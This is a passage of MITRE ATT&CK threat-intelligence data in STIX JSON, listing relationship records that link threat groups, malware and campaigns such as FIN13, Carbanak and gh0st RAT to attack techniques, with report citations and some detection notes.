OceanLotus Mar 2019)\t\n","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a9468e2e-1525-4311-8f11-d63b5d6b4e58","created":"2022-10-11T17:24:36.360Z","revoked":false,"external_references":[{"source_name":"McAfee Honeybee","description":"Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-11T17:24:36.360Z","description":"During [Operation Honeybee](https://attack.mitre.org/campaigns/C0006), threat actors installed DLLs and backdoors as Windows services.(Citation: McAfee Honeybee)","relationship_type":"uses","source_ref":"campaign--4553292d-12c6-4a93-934d-12160370d4e0","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a94e85d8-62a1-43a2-8443-245bf61ec115","created":"2023-10-05T11:45:54.847Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Sygnia Elephant Beetle Jan 2022","description":"Sygnia Incident Response Team. (2022, January 5). TG2003: ELEPHANT BEETLE UNCOVERING AN ORGANIZED FINANCIAL-THEFT OPERATION. Retrieved February 9, 2023.","url":"https://f.hubspotusercontent30.net/hubfs/8776530/Sygnia-%20Elephant%20Beetle_Jan2022.pdf?__hstc=147695848.3e8f1a482c8f8d4531507747318e660b.1680005306711.1680005306711.1680005306711.1&__hssc=147695848.1.1680005306711&__hsfp=3000179024&hsCtaTracking=189ec409-ae2d-4909-8bf1-62dcdd694372%7Cca91d317-8f10-4a38-9f80-367f551ad64d"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-05T20:56:09.464Z","description":"[FIN13](https://attack.mitre.org/groups/G1016) has assigned newly created accounts the sysadmin role to maintain persistence.(Citation: Sygnia Elephant Beetle Jan 2022)","relationship_type":"uses","source_ref":"intrusion-set--fd66436e-4d33-450e-ac4c-f7810f1c85f4","target_ref":"attack-pattern--3e6831b2-bf4c-4ae6-b328-2e7c6633b291","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a951bef0-4a5a-49b0-b6bd-6a4dfbd60ca0","created":"2019-01-29T19:36:02.749Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"GovCERT Carbon May 2016","description":"GovCERT. (2016, May 23). Technical Report about the Espionage Case at RUAG. Retrieved November 7, 2018.","url":"https://web.archive.org/web/20170718174931/https://www.melani.admin.ch/dam/melani/de/dokumente/2016/technical%20report%20ruag.pdf.download.pdf/Report_Ruag-Espionage-Case.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-19T18:36:51.868Z","description":"[Carbon](https://attack.mitre.org/software/S0335) uses the net view command.(Citation: GovCERT Carbon May 2016)","relationship_type":"uses","source_ref":"malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a95c8f0a-a7ba-4af0-b3ac-5abaf44ff563","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://objective-see.com/blog/blog_0x25.html","description":"Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.","source_name":"objsee mac malware 2017"}],"modified":"2021-01-22T16:19:13.138Z","description":"[Proton](https://attack.mitre.org/software/S0279) gathers credentials in files for 1password.(Citation: objsee mac malware 2017)","relationship_type":"uses","source_ref":"malware--c541efb4-e7b1-4ad6-9da8-b4e113f5dd42","target_ref":"attack-pattern--315f51f0-6b03-4c1e-bfb2-84740afb8e21","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a969a06c-523f-4cde-a92c-539dd1c003f9","type":"relationship","created":"2021-06-04T15:08:09.951Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye FiveHands April 2021","url":"https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html","description":"McLellan, T. and Moore, J. et al. (2021, April 29). UNC2447 SOMBRAT and FIVEHANDS Ransomware: A Sophisticated Financial Threat. Retrieved June 2, 2021."}],"modified":"2021-06-04T15:08:09.951Z","description":"[HELLOKITTY](https://attack.mitre.org/software/S0617) can search for specific processes to terminate.(Citation: FireEye FiveHands April 2021)","relationship_type":"uses","source_ref":"malware--5d11d418-95dd-4377-b782-23160dfa17b4","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a9727d1b-777a-4c3e-8bcc-e0cbff7431d8","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"F-Secure The Dukes","description":"F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.","url":"https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"},{"url":"https://blog.f-secure.com/wp-content/uploads/2019/10/CosmicDuke.pdf","description":"F-Secure Labs. (2014, July). COSMICDUKE Cosmu with a twist of MiniDuke. Retrieved July 3, 2014.","source_name":"F-Secure Cosmicduke"}],"modified":"2021-07-20T21:57:36.166Z","description":"[CosmicDuke](https://attack.mitre.org/software/S0050) can use HTTP or HTTPS for command and control to hard-coded C2 servers.(Citation: F-Secure The Dukes)(Citation: F-Secure Cosmicduke)","relationship_type":"uses","source_ref":"malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a979f700-7319-4d37-bb3e-592e3a1bf878","type":"relationship","created":"2020-08-24T13:40:23.324Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET PipeMon May 2020","url":"https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/","description":"Tartare, M. et al. (2020, May 21). No “Game over” for the Winnti Group. Retrieved August 24, 2020."}],"modified":"2020-08-24T13:40:23.324Z","description":"[PipeMon](https://attack.mitre.org/software/S0501) can use parent PID spoofing to elevate privileges.(Citation: ESET PipeMon May 2020)","relationship_type":"uses","source_ref":"malware--8393dac0-0583-456a-9372-fd81691bca20","target_ref":"attack-pattern--93591901-3172-4e94-abf8-6034ab26f44a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a980cbf6-262e-41c8-aec3-890ed77966ce","created":"2023-02-23T18:11:53.481Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kaspersky LuminousMoth July 2021","description":"Lechtik, M, and etl. (2021, July 14). LuminousMoth APT: Sweeping attacks for the chosen few. Retrieved October 20, 2022.","url":"https://securelist.com/apt-luminousmoth/103332/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-10T16:33:46.660Z","description":"[LuminousMoth](https://attack.mitre.org/groups/G1014) has disguised their exfiltration malware as `ZoomVideoApp.exe`.(Citation: Kaspersky LuminousMoth July 2021)","relationship_type":"uses","source_ref":"intrusion-set--b7f627e2-0817-4cd5-8d50-e75f8aa85cc6","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a9830f35-1ffa-46a3-b061-07148dd09753","created":"2023-07-28T18:12:43.065Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Sygnia Elephant Beetle Jan 2022","description":"Sygnia Incident Response Team. (2022, January 5). TG2003: ELEPHANT BEETLE UNCOVERING AN ORGANIZED FINANCIAL-THEFT OPERATION. Retrieved February 9, 2023.","url":"https://f.hubspotusercontent30.net/hubfs/8776530/Sygnia-%20Elephant%20Beetle_Jan2022.pdf?__hstc=147695848.3e8f1a482c8f8d4531507747318e660b.1680005306711.1680005306711.1680005306711.1&__hssc=147695848.1.1680005306711&__hsfp=3000179024&hsCtaTracking=189ec409-ae2d-4909-8bf1-62dcdd694372%7Cca91d317-8f10-4a38-9f80-367f551ad64d"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-02T16:17:04.535Z","description":"[FIN13](https://attack.mitre.org/groups/G1016) has used IISCrack.dll as a side-loading technique to load a malicious version of httpodbc.dll on old IIS Servers (CVE-2001-0507).(Citation: Sygnia Elephant Beetle Jan 2022)","relationship_type":"uses","source_ref":"intrusion-set--fd66436e-4d33-450e-ac4c-f7810f1c85f4","target_ref":"attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a987bd4f-dcb3-4fa8-8ca3-b76cfea921f6","type":"relationship","created":"2022-02-21T15:35:14.717Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Gamaredon February 2022","url":"https://unit42.paloaltonetworks.com/gamaredon-primitive-bear-ukraine-update-2021/","description":"Unit 42. (2022, February 3). Russia’s Gamaredon aka Primitive Bear APT Group Actively Targeting Ukraine. Retrieved February 21, 2022."}],"modified":"2022-02-21T15:35:14.717Z","description":"[Gamaredon Group](https://attack.mitre.org/groups/G0047) has used hidcon to run batch files in a hidden console window.(Citation: Unit 42 Gamaredon February 2022)","relationship_type":"uses","source_ref":"intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf","target_ref":"attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a98804cf-b3f8-40c5-beac-2a82a18c891f","created":"2022-07-25T18:08:39.070Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SentinelOne Aoqin Dragon June 2022","description":"Chen, Joey. (2022, June 9). Aoqin Dragon | Newly-Discovered Chinese-linked APT Has Been Quietly Spying On Organizations For 10 Years. Retrieved July 14, 2022.","url":"https://www.sentinelone.com/labs/aoqin-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-11T16:14:33.375Z","description":"[Mongall](https://attack.mitre.org/software/S1026) can use Base64 to encode information sent to its C2.(Citation: SentinelOne Aoqin Dragon June 2022)","relationship_type":"uses","source_ref":"malware--6fb36c6f-bb3d-4ed6-9471-cb9933e5c154","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a9880e35-afe0-4537-a45d-3f63103b69b5","created":"2024-08-13T19:50:25.546Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA Iran Albanian Attacks September 2022","description":"CISA. (2022, September 23). AA22-264A Iranian State Actors Conduct Cyber Operations Against the Government of Albania. Retrieved August 6, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-264a"},{"source_name":"Microsoft Albanian Government Attacks September 2022","description":"MSTIC. (2022, September 8). Microsoft investigates Iranian attacks against the Albanian government. Retrieved August 6, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2022/09/08/microsoft-investigates-iranian-attacks-against-the-albanian-government/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-14T14:33:06.636Z","description":"During [HomeLand Justice](https://attack.mitre.org/campaigns/C0038), threat actors used SMB for lateral movement.(Citation: CISA Iran Albanian Attacks September 2022)(Citation: Microsoft Albanian Government Attacks September 2022)","relationship_type":"uses","source_ref":"campaign--7e21077d-2589-43a7-a5f9-490061289526","target_ref":"attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a9960bcf-c6aa-411c-80d0-556ec7230b68","type":"relationship","created":"2021-10-15T19:57:15.157Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"eSentire FIN7 July 2021","url":"https://www.esentire.com/security-advisories/notorious-cybercrime-gang-fin7-lands-malware-in-law-firm-using-fake-legal-complaint-against-jack-daniels-owner-brown-forman-inc","description":"eSentire. (2021, July 21). Notorious Cybercrime Gang, FIN7, Lands Malware in Law Firm Using Fake Legal Complaint Against Jack Daniels’ Owner, Brown-Forman Inc.. Retrieved September 20, 2021."}],"modified":"2021-10-15T19:57:15.157Z","description":"[JSS Loader](https://attack.mitre.org/software/S0648) has been delivered by phishing emails containing malicious Microsoft Excel attachments.(Citation: eSentire FIN7 July 2021)","relationship_type":"uses","source_ref":"malware--f559f945-eb8b-48b1-904c-68568deebed3","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a99bd83e-b477-40da-8b82-512937421193","type":"relationship","created":"2022-03-30T14:26:51.846Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.846Z","description":"Monitor executed commands and arguments that may gain persistence and elevate privileges by executing malicious content triggered by the Event Monitor Daemon (emond).","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--9c45eaa3-8604-4780-8988-b5074dbb9ecd","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a99df039-f5ee-4060-b3ba-b1224acee970","type":"relationship","created":"2022-01-25T14:59:21.684Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Check Point APT35 CharmPower January 2022","url":"https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/","description":"Check Point. (2022, January 11). APT35 exploits Log4j vulnerability to distribute new modular PowerShell toolkit. Retrieved January 24, 2022."}],"modified":"2022-01-25T15:03:40.088Z","description":"[CharmPower](https://attack.mitre.org/software/S0674) can download additional modules from actor-controlled Amazon S3 buckets.(Citation: Check Point APT35 CharmPower January 2022)","relationship_type":"uses","source_ref":"malware--7acb15b6-fe2c-4319-b136-6ab36ff0b2d4","target_ref":"attack-pattern--830c9528-df21-472c-8c14-a036bf17d665","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a99f7b3c-4757-47b0-8649-795f1e0f7c60","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/","description":"Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims’ Systems. Retrieved June 6, 2018.","source_name":"McAfee Gold Dragon"}],"modified":"2020-04-21T23:09:31.331Z","description":"[Gold Dragon](https://attack.mitre.org/software/S0249) terminates anti-malware processes if they’re found running on the system.(Citation: McAfee Gold Dragon)","relationship_type":"uses","source_ref":"malware--b9799466-9dd7-4098-b2d6-f999ce50b9a8","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a9a0ecce-239c-4666-94e9-ef1fb64cf796","type":"relationship","created":"2019-01-29T17:59:44.529Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.","url":"https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf","source_name":"GDATA Zeus Panda June 2017"}],"modified":"2019-04-16T20:55:20.215Z","description":"[Zeus Panda](https://attack.mitre.org/software/S0330) modifies several Registry keys under HKCU\\Software\\Microsoft\\Internet Explorer\\ PhishingFilter\\ to disable phishing filters.(Citation: GDATA Zeus Panda June 2017)","relationship_type":"uses","source_ref":"malware--198db886-47af-4f4c-bff5-11b891f85946","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a9a39a39-b339-41d9-9790-198ac9352bfd","type":"relationship","created":"2020-06-01T15:46:47.567Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"IBM TA505 April 2020","url":"https://securityintelligence.com/posts/ta505-continues-to-infect-networks-with-sdbbot-rat/","description":"Frydrych, M. (2020, April 14). TA505 Continues to Infect Networks With SDBbot RAT. Retrieved May 29, 2020."},{"source_name":"Trend Micro TA505 June 2019","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/shifting-tactics-breaking-down-ta505-groups-use-of-html-rats-and-other-techniques-in-latest-campaigns/","description":"Hiroaki, H. and Lu, L. (2019, June 12). Shifting Tactics: Breaking Down TA505 Group’s Use of HTML, RATs and Other Techniques in Latest Campaigns. Retrieved May 29, 2020."}],"modified":"2020-06-16T16:57:13.559Z","description":"[TA505](https://attack.mitre.org/groups/G0092) has used TinyMet to enumerate members of privileged groups.(Citation: IBM TA505 April 2020) [TA505](https://attack.mitre.org/groups/G0092) has also run net group /domain.(Citation: Trend Micro TA505 June 2019)","relationship_type":"uses","source_ref":"intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d","target_ref":"attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a9a71970-33d1-4336-acb3-9252b91d27a4","type":"relationship","created":"2019-01-29T14:51:06.742Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Pantazopoulos, N. (2018, April 17). Decoding network data from a Gh0st RAT variant. Retrieved November 2, 2018.","url":"https://research.nccgroup.com/2018/04/17/decoding-network-data-from-a-gh0st-rat-variant/","source_name":"Nccgroup Gh0st April 2018"},{"source_name":"Gh0stRAT ATT March 2019","url":"https://cybersecurity.att.com/blogs/labs-research/the-odd-case-of-a-gh0strat-variant","description":"Quinn, J. (2019, March 25). The odd case of a Gh0stRAT variant. Retrieved July 15, 2020."}],"modified":"2021-03-29T19:49:11.281Z","description":"[gh0st RAT](https://attack.mitre.org/software/S0032) can create a new service to establish persistence.(Citation: Nccgroup Gh0st April 2018)(Citation: Gh0stRAT ATT March 2019)","relationship_type":"uses","source_ref":"malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a9ad8c47-9cec-45c1-8d07-6154d2cc752b","type":"relationship","created":"2020-02-11T18:46:24.525Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-11T18:46:24.525Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--3120b9fa-23b8-4500-ae73-09494f607b7d","target_ref":"attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a9b92f28-c273-48cf-8ee6-dfa6c240cda9","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html","description":"Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.","source_name":"Talos Group123"}],"modified":"2019-09-09T19:12:32.509Z","description":"[APT37](https://attack.mitre.org/groups/G0067)'s Freenki malware lists running processes using the Microsoft Windows API.(Citation: Talos Group123)","relationship_type":"uses","source_ref":"intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a9bbaae4-a641-4a15-8972-1a11eddff27d","type":"relationship","created":"2022-03-30T14:26:51.850Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.850Z","description":"Monitor for changes made to windows registry keys and/or values that may attempt to hide artifacts associated with their behaviors to evade detection.","source_ref":"x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170","target_ref":"attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a9bbbd0f-3f45-4efa-9e6b-56ed2c9b9126","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/n1nj4sec/pupy","description":"Nicolas Verdier. (n.d.). Retrieved January 29, 2018.","source_name":"GitHub Pupy"}],"modified":"2019-04-24T17:52:47.855Z","description":"[Pupy](https://attack.mitre.org/software/S0192) can sniff plaintext network credentials and use NBNS Spoofing to poison name services.(Citation: GitHub Pupy)","relationship_type":"uses","source_ref":"tool--cb69b20d-56d0-41ab-8440-4a4b251614d4","target_ref":"attack-pattern--650c784b-7504-4df7-ab2c-4ea882384d1e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a9bc7666-f637-4093-a5bb-4edb61710e45","type":"relationship","created":"2017-05-31T21:33:27.078Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Citizen Lab Group5","description":"Scott-Railton, J., et al. (2016, August 2). Group5: Syria and the Iranian Connection. Retrieved September 26, 2016.","url":"https://citizenlab.ca/2016/08/group5-syria/"}],"modified":"2019-07-25T17:52:06.552Z","description":"Malware used by [Group5](https://attack.mitre.org/groups/G0043) is capable of remotely deleting files from victims.(Citation: Citizen Lab Group5)","relationship_type":"uses","source_ref":"intrusion-set--7331c66a-5601-4d3f-acf6-ad9e3035eb40","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a9bd68ed-2602-4225-838e-2d9b7f8761b4","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Carbanak","description":"Kaspersky Lab's Global Research and Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved August 23, 2018.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf"},{"source_name":"FireEye CARBANAK June 2017","description":"Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.","url":"https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html"}],"modified":"2020-03-30T18:46:58.188Z","description":"[Carbanak](https://attack.mitre.org/software/S0030) encrypts the message body of HTTP traffic with RC2 (in CBC mode). [Carbanak](https://attack.mitre.org/software/S0030) also uses XOR with random keys for its communications.(Citation: Kaspersky Carbanak)(Citation: FireEye CARBANAK June 2017)","relationship_type":"uses","source_ref":"malware--72f54d66-675d-4587-9bd3-4ed09f9522e4","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a9bec496-3c5f-43b7-afd1-1db713010e74","type":"relationship","created":"2020-12-03T20:21:23.680Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Accenture HyperStack October 2020","url":"https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity","description":"Accenture. (2020, October). Turla uses HyperStack, Carbon, and Kazuar to compromise government entity. Retrieved December 2, 2020."}],"modified":"2020-12-03T20:21:23.680Z","description":"[Carbon](https://attack.mitre.org/software/S0335) can use HTTP in C2 communications.(Citation: Accenture HyperStack October 